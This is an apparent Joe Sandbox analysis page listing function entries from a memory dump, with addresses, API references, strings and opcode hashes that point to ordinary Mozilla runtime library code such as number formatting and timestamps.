Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: b105dc4dd7ad714256ba27fa963a63aaf822f20608df648ea6c63a99d0ac8ecd
Instruction ID: e6fd50273e4897939f7fabe0254767bffd622529046e31d85a19f5dfc63a2b43
Opcode Fuzzy Hash: b105dc4dd7ad714256ba27fa963a63aaf822f20608df648ea6c63a99d0ac8ecd
Instruction Fuzzy Hash: A891FF74608741CFC724CF28C58469FB7E0BF89358F148A2DE59A8B751DB30D889CB62

Function 6CA4C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CA4D4BB
0123456789abcdef, xrefs: 6CA4C317

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 089b75b6ee74d52820ab3787e29649992d46ec5615a8c81ee98a5de9ce8410f7
Instruction ID: 8eaa59328b1d402f137f7b14053f3ae88b27b0dd9e684db9934ade4cc9ebe6b5
Opcode Fuzzy Hash: 089b75b6ee74d52820ab3787e29649992d46ec5615a8c81ee98a5de9ce8410f7
Instruction Fuzzy Hash: CD52D230A093418FD728DF18C45075AB7F2FB8A718F28C91DD9DA87B91D775988ACB42

Function 6CA89E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CA89F3D
__aulldiv.LIBCMT ref: 6CA89F77
__aullrem.LIBCMT ref: 6CA89F8C
__aulldiv.LIBCMT ref: 6CA8A023

Strings

NaN, xrefs: 6CA89EAB
-Infinity, xrefs: 6CA89E60, 6CA89E7B

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 65e5532532480e9e43fac1d8ae5a96cb10eeb2a6f15c6eae989db4dfa92fd273
Instruction ID: 0a6452fa5f72f0930a748b09cd4cc33985b381f3966622c1f4a60d973c0ccf34
Opcode Fuzzy Hash: 65e5532532480e9e43fac1d8ae5a96cb10eeb2a6f15c6eae989db4dfa92fd273
Instruction Fuzzy Hash: 64C19E31E023198BDB14CFA9C9907DEB7B7BF88314F584529D406ABB80D774AD89CB91

Function 6CA2D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6CA2DAF6
0, xrefs: 6CA2DC7F
1, xrefs: 6CA2DBDD
9, xrefs: 6CA2DE7F
8, xrefs: 6CA2DC08
0, xrefs: 6CA2D852
-, xrefs: 6CA2D7DD
, xrefs: 6CA2DA88

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 9d2c7b29d9f5aaba5c833bfa2c8a0948eda0344d4265e2dd50748e4f3b2000dd
Instruction ID: 3985127d9ef2425e1de39ded8b4b1559de2096da7215fa8cdadb178b2275fbca
Opcode Fuzzy Hash: 9d2c7b29d9f5aaba5c833bfa2c8a0948eda0344d4265e2dd50748e4f3b2000dd
Instruction Fuzzy Hash: 7F62AD7190C3A58FD715CF29C09075ABBF2AF86358F1C4A1DE8D54BA92C37998C5CB82

Function 6CA39F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6CA3A625
0, xrefs: 6CA3A100
1, xrefs: 6CA3A824
' , xrefs: 6CA3A3D8
9, xrefs: 6CA3A5D6
0, xrefs: 6CA3AB22

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7b2d9b52430011cb883af4395996212c5158e802b3174e5ed37df7fe75c2afba
Instruction ID: f71b9df14ff4a148827a258d76d41d3ce922825f88882cd6f06e39739775e056
Opcode Fuzzy Hash: 7b2d9b52430011cb883af4395996212c5158e802b3174e5ed37df7fe75c2afba
Instruction Fuzzy Hash: 6D82C3315093358BDF11CF89C0A426EB7E3EB85748F59AA19E89DC7A90D3399CC5CB42

Function 6CA2BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA2C1CB
__aulldiv.LIBCMT ref: 6CA2C24C
__aulldiv.LIBCMT ref: 6CA2C348
__aullrem.LIBCMT ref: 6CA2C365
__aulldiv.LIBCMT ref: 6CA2C37D

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 4d7de10f3a9623a7fce36ca6905fd38ff907907dfbe6b8f7db1b89a14f21bff8
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 4E324532B086118FD718DE2CC890A56FBE6AFC9314F09866DE899CB395D734ED05CB91

Function 6CA9545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA98A4B

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d706338c1868054f658665c941ed749b234b9a99a9585987e8704515d86c4cb7
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 9BB1D672A0121A8FDB14CF68CD927E9B7F2EF95314F1802A9C549EB781D73099C9CB91

Function 6CA9542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA988F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA9925C

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 755208075b5b9b78ba0acefe3c57e16f616413ce0cc73c829f42b9030c7330a5
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: C4B1C576A0020A8FCB14CF68C9826EDB7F2AF85314F180269C549DB785D730A9C9CB90

Function 6CA950C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA98E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA9925C

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 439f3574b5ee3aadece5e61119a6e9f29b3a1784b790872c205d3b096531a138
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 40A1D772A001168FCB14CF68CC827D9B7F6AF95314F1902B9C949EB785D730A9D9CB90

Function 6CA777A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA77A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA77A93

Part of subcall function 6CA45C50: GetTickCount64.KERNEL32 ref: 6CA45D40
Part of subcall function 6CA45C50: EnterCriticalSection.KERNEL32(6CAAF688), ref: 6CA45D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA77AA1

Part of subcall function 6CA45C50: __aulldiv.LIBCMT ref: 6CA45DB4
Part of subcall function 6CA45C50: LeaveCriticalSection.KERNEL32(6CAAF688), ref: 6CA45DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CA77B31

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: cb9ccad120ed5d9a8434f140a59bdf424c4e980bbd3b0d013eb9e075a3a08a54
Instruction ID: c12be8f2c1da1232bcaa83fdd78fa0e6baca62371308bbd77fdbd9571fd56d0e
Opcode Fuzzy Hash: cb9ccad120ed5d9a8434f140a59bdf424c4e980bbd3b0d013eb9e075a3a08a54
Instruction Fuzzy Hash: 00B1C1397083458BCB25CF24C15065FB7E2BFC5318F194A1CE995A7790DB70E98ACB92

Function 6CA66CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CA66D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA66E1E

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 690c97c2046d4c7d230feb0fff775192952f6c8c353d92f6ea6d00036ba095da
Instruction ID: d9586506296b490c395422cdc0590bb0855af8969f9e451c8233276e3083d15e
Opcode Fuzzy Hash: 690c97c2046d4c7d230feb0fff775192952f6c8c353d92f6ea6d00036ba095da
Instruction Fuzzy Hash: 43A170746183858FC715CF25C5907AEFBF1BF89308F45891DE48A87B51DB70A889CB92

Function 6CA8B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CA8B720
RtlNtStatusToDosError.NTDLL ref: 6CA8B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CA5FE3F,00000000,00000000,?,?,00000000,?,6CA5FE3F), ref: 6CA8B760

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 097b639605e576df7ac02f2ffc0e63c5daf1a0f1fa462b2aa4cbd1cb5a4efc80
Instruction ID: 69ac61de69cb2a26c881a40135d1abf14d1a749a9c2214defdfba4436782c8ad
Opcode Fuzzy Hash: 097b639605e576df7ac02f2ffc0e63c5daf1a0f1fa462b2aa4cbd1cb5a4efc80
Instruction Fuzzy Hash: E1F0AFB0A4230DAFEF019AE1EC85BEEBBBCAB0431DF545229E511615C0D77495CCC764

Function 6CA44640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CA44777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA45585, 6CA455A8, 6CA455C3, 6CA45624

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: a9b179322d9919acbb1b29ec1e495a00a966ea9d5bcd942c16d0535de9f612fd
Instruction ID: af89814406059c66bc47a26751691f5b7a870f64b665ef54241f0a642f62bcc6
Opcode Fuzzy Hash: a9b179322d9919acbb1b29ec1e495a00a966ea9d5bcd942c16d0535de9f612fd
Instruction Fuzzy Hash: 48B25C71A05B018FD708CF19C590615FBE2BFC5328B2DC7ADE46A8B6A5D771E881CB81

Function 6CA885F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA88C7C
__aulldiv.LIBCMT ref: 6CA88DD7

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 3d4e3e4d2ec4ea5cea98a307bf5c5910ea9886ec4229fdf42326388a1c3ff761
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: CC328D71F011198BDF18CE9DC8A17EEB7B2FB88300F15853AD406BB794DA389D858B91

Function 6CA8B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CA303D4,?), ref: 6CA8B955
NtQueryVirtualMemory.NTDLL ref: 6CA8B9A5

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 20b2693c82c8c089e662fd26635fe07fc029147c6ebe2fbee33176ed6ce1bf76
Instruction ID: e59561099f107ed0c0a11f5014234c1347e21db54b6aba61bce9dcb1214535e7
Opcode Fuzzy Hash: 20b2693c82c8c089e662fd26635fe07fc029147c6ebe2fbee33176ed6ce1bf76
Instruction Fuzzy Hash: 4D41B671F0121D9FDF08CFA9ED91ADEB7B6EF88314F148229E415A7704DB3098898B90

Function 6CA65C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA34A63,?,?), ref: 6CA65F06

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3e0aee480bdf4524993b6bd3827bd0304147dd2283b6b41e4a02834be4d22743
Instruction ID: b743812177083fb3395e68e2f5c67fc072b1ba59f40d5704ae2d21aff5597abc
Opcode Fuzzy Hash: 3e0aee480bdf4524993b6bd3827bd0304147dd2283b6b41e4a02834be4d22743
Instruction Fuzzy Hash: 21C1C475D012098BCB14CF96C5906DEBBF2FF8A318F28415DD8556BF46D7326885CB90

Function 6CA2DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b9766ede90c3d8e815239d9fd71149773cc7b8fa90067b37c1f6111381a5394
Instruction ID: cdcdb9916a3fa2f3f0967ee6c552e938392dd0ed56c3adb9b33dbc83f3a67b6b
Opcode Fuzzy Hash: 0b9766ede90c3d8e815239d9fd71149773cc7b8fa90067b37c1f6111381a5394
Instruction Fuzzy Hash: EB42B532A187518BD308CE3CC49175AF3E2BFC9355F098B2DE999A7790D734D9818B81

Function 6CA976E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: e2dbce719b1c51cb184862406c3977ca29eb3165524b49eb372684f94d7a7f45
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 7832E671E106198FCB14CF99C891AADFBF2BF88304F688169C949E7745D731A986CF90

Function 6CA96E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3b43f2efeedcb2f545a9d0b169dbc56a39810214d38a0f9fe38e5bbc4f1f9974
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: AB22D571E102198FCB14CF98C981AADF7F2BF89304F6881A9C949E7755D731A986CF90

Function 6CA50512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d30d0a3136f78b8b35c6ff8b907e8639e1e0c9b216cb3bab3df48a56ef98f449
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE221871E00619CFCB14CF98C890AADF7B2FF88308F588699D54AA7705D731A996CF90

Function 6CA9AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f58fcc9d01fc81c9c37f3e557e32d18cfd014f8d5ee22b9eeae2bcaeb63dee45
Instruction ID: bb309899ea4ca03b379a2b1c26edc915a5259b35665374dd1837fc108d4f375f
Opcode Fuzzy Hash: f58fcc9d01fc81c9c37f3e557e32d18cfd014f8d5ee22b9eeae2bcaeb63dee45
